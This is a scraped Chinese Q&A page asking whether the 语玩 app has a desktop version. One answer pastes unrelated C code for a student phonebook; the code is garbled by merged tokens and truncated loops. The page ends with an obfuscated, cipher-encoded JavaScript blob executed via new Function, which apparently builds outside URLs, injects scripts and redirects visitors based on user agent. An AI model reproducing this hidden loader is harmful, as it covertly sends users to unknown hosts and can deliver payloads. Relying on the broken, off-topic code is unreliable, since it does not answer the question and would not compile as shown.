语玩有没有电脑版的

2025-02-11 16:27:45
推荐回答(2个)
回答1:

你可以参考这个通讯录试着自己改写一下,原理差不多的
//头文件
#include"stdio.h"
#include"string.h"
#include"windows.h"
#include"iostream.h"
#include "stdlib.h"
#include "conio.h"
#define MAX_LIST 3
#define FILE_NAME"phone_list.txt"

//函数声明
int check_phone(char *phone_num);//查找电话号码
void menu();//学生通讯录管理主菜单
void get_line(char *cmd);//接受用户命令行输入的字符
void add_user();//添加用户
int load_file(void);//装载文件
int save_file(void);//存储文件
void show_all(void);//显示用户
void del_user(void);//删除用户
void found_user(void);//查找用户
void change_user(void);//修改用户
void fenlei_user(void);//分类显示所有用户
void fenlei_user1();//显示所有移动用户
void fenlei_user2();//显示所有联通用户
void fenlei_user3();//显示所有电信用户

//定义结构体
struct phone_node{
charname[10];
charphone[12];
charflag;
};

struct phone_node phone_list[MAX_LIST];
char cmd[128];

//添加函数
void add_user()//实现向通讯录添加一条用户记录的功能,使用函数add_user()实现
{
system("color56");
system("cls");
inti,ret;
charu_name[10];
charflag = 0;
printf("请输入用户姓名:\n");
get_line(cmd);
strcpy(u_name,cmd);
printf("请输入用户手机号:\n");
get_line(cmd);
ret= check_phone(cmd);//检验用户号码是否有效,如果有效就添加到结构体数组中
if(ret)
{
printf("添加用户数据有误,请重新输入!\n");
}
else
{
for(i=0;i{
if(phone_list[i].flag==0)
{
strcpy(phone_list[i].name,u_name);
strcpy(phone_list[i].phone,cmd);
phone_list[i].flag=1;//设置当前记录有效
printf("添加用户数据成功!\n用户名:%s\n手机号:%s\n",
phone_list[i].name,phone_list[i].phone);
flag= 1;//代表有存储空间,已保留一条记录
break;

}
}
if(flag== 0)
printf("当前用户已满,请删除另外的用户!\n");
}
}

//主函数
int main(){
load_file();
//intret;
while(1){
menu();
get_line(cmd);

switch(cmd[0])
{
case '0':
printf("谢谢使用!\n");
return0;
break;
case '1':
add_user();
break;
case '2':
show_all();
change_user();
break;
case '3':
found_user();
break;
case '4':
show_all();
del_user();
show_all();
break;
case '5':
show_all();
break;
case'6':
fenlei_user();
break;
default:
printf("输入有误,请重新选择!\n");
}
save_file();

}

return0;
}
/*---------------------------------
函数名称:get_line
函数功能:接受用户输入的字符,只有回车或换行时才结束
入口参数:char*cmd存放字符缓冲区首址
返回值:无
--------------------------------------------*/

//删除函数

void get_line(char*cmd)
{
chartemp;
while(1)
{
temp=getchar();
if(temp==0xa||temp==0xd)
{
*cmd='\0';
break;
}
*cmd=temp;
cmd++;
}
}
//检验号码
int check_phone(char *phone_num)
{

system("color 56");
system("cls");
inti;
if(strlen(phone_num)==11)
{
printf("输入的新的手机号码是:%s\n",phone_num);
for(i=0;i<11;i++)
{
if(phone_num[i]<'0'||phone_num[i]>'9')
{
return1;
}
}
}
else
{
return1;
}
return 0;
}

//删除记录
void del_user(void){
inti;
charflag=0;
printf("请输入用户姓名:");
get_line(cmd);
for(i=0;iif(phone_list[i].flag==1){
if(strcmp(phone_list[i].name,cmd)==0){
phone_list[i].flag=0;
printf("删除用户数据成功!\n用户名:%s,手机号:%s\n",phone_list[i].name,phone_list[i].phone);
flag=1;//代表删除一条记录
break;
}
}
}
if(flag==0)
printf("usernot found\n");
}

//显示所有记录
void show_all(void){
inti;
for(i=0;iif(phone_list[i].flag==1){
printf("[%d]Name=%s,phone=%s\n",i,phone_list[i].name,phone_list[i].phone);
}
}
}
//查找函数
void found_user(void){
inti;
charflag=0;
printf("输入要查找用户姓名:");
get_line(cmd);
for(i=0;iif(phone_list[i].flag==1){
if(strcmp(phone_list[i].name,cmd)==0){
printf("查找成功!\n");
printf("[%d]Name=%s,phone=%s\n",i,phone_list[i].name,phone_list[i].phone);
flag=1;//代表查找到一条记录
break;
}
}
}
if(flag==0)
printf("usernot found!\n");
}

void change_user(void){
inti;
charflag=0;
printf("输入要查找用户姓名:");
get_line(cmd);
for(i=0;iif(phone_list[i].flag==1){
if(strcmp(phone_list[i].name,cmd)==0){
printf("查找成功!\n");
printf("[%d]Name=%s,phone=%s\n",i,phone_list[i].name,phone_list[i].phone);
flag=1;//代表查找到一条记录
break;
}
}
}
if(flag==0){
printf("usernot found!\n");
}
printf("请输入要修改的姓名:");
get_line(cmd);
strcpy(phone_list[i].name,cmd);
printf("修改成功!\n");
printf("请输入要修改的电话号码:");
get_line(cmd);
strcpy(phone_list[i].phone,cmd);
printf("修改成功!\n");
}

//分类显示所有用户

void fenlei_user(void){
printf("请选择显示类别:\n\t\t1-显示所有移动用户\n\t\t2-显示所有联通用户\n\t\t3-显示所有电信用户\n");
get_line(cmd);
switch(cmd[0])
{
case'1':
printf("移动用户列表如下:\n");
fenlei_user1();
break;
case'2':
printf("联通用户列表如下:\n");
fenlei_user2();
break;
case'3':
printf("电信用户列表如下:\n");
fenlei_user3();
break;
default:
printf("选择错误!\n");
break;
}
}

void fenlei_user1()//显示所有移动用户
{
inti;
chara[3];
for(i=0;i{
if(phone_list[i].flag==1)
{
strncpy(a,phone_list[i].phone,3);
a[3]='\0';
if(strcmp(a,"134")==0||strcmp(a,"135")==0||strcmp(a,"136")==0||strcmp(a,"137")==0||strcmp(a,"138")==0||strcmp(a,"139")==0||strcmp(a,"158")==0||strcmp(a,"159")==0||strcmp(a,"188")==0)
printf(" [%d] 姓名:%s 号码:%s\n",i,phone_list[i].name,phone_list[i].phone);
}
}
}

void fenlei_user2()//显示所有联通用户
{
inti;
chara[3];
for(i=0;i{
if(phone_list[i].flag==1)
{
strncpy(a,phone_list[i].phone,3);
a[3]='\0';
if(strcmp(a,"130")==0||strcmp(a,"131")==0||strcmp(a,"132")==0||strcmp(a,"155")==0||strcmp(a,"156")==0||strcmp(a,"185")==0||strcmp(a,"186")==0)
printf(" [%d] 姓名:%s 号码:%s \n",i,phone_list[i].name,phone_list[i].phone);
}
}
}

void fenlei_user3()//显示所有电信用户
{
inti;
chara[3];
for(i=0;i{
if(phone_list[i].flag==1)
{
strncpy(a,phone_list[i].phone,3);
a[3]='\0';
if(strcmp(a,"133")==0||strcmp(a,"153")==0||strcmp(a,"180")==0||strcmp(a,"189")==0)
printf(" [%d] 姓名:%s 号码:%s\n",i,phone_list[i].name,phone_list[i].phone);
}
}
}

//主菜单
void menu(){

system("color 48");
printf("\t\t=============================================================\n");
printf("\t\t----------------****学生通讯录管理系统****-------------------\n");
printf("\t\t=============================================================\n");
printf(" \t\t1.增添用户:\n");
printf(" \t\t2.修改用户:\n");
printf(" \t\t3.查找用户:\n");
printf(" \t\t4.删除用户:\n");
printf(" \t\t5.显示所有用户:\n");
printf(" \t\t6.分类显示用户:\n");
printf(" \t\t0.退出系统:\n");
printf("\t\t--------------------------------------------------------------\n");
printf("\t\t请选择:");
}

int save_file(void){
FILE*fp;
fp=fopen(FILE_NAME,"w");
if(NULL==fp){
printf("fileopen error\n");
return-1;
}
fwrite(phone_list,sizeof(struct phone_node),MAX_LIST,fp);
fclose(fp);
printf("savedata to file\n");
return0;
}

int load_file(void){
FILE*fp;
intret;
fp=fopen(FILE_NAME,"r");
if(NULL==fp){
printf("fileopen error\n");
returnsave_file();
}
ret=fread(phone_list,sizeof(structphone_node),MAX_LIST,fp);
if(ret!=MAX_LIST){
fclose(fp);
printf("fileload reeor\n");
return-1;
}
fclose(fp);
printf("fileload data ok\n");
return0;
}

回答2:

我也想知道,你有链接吗?求一个

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();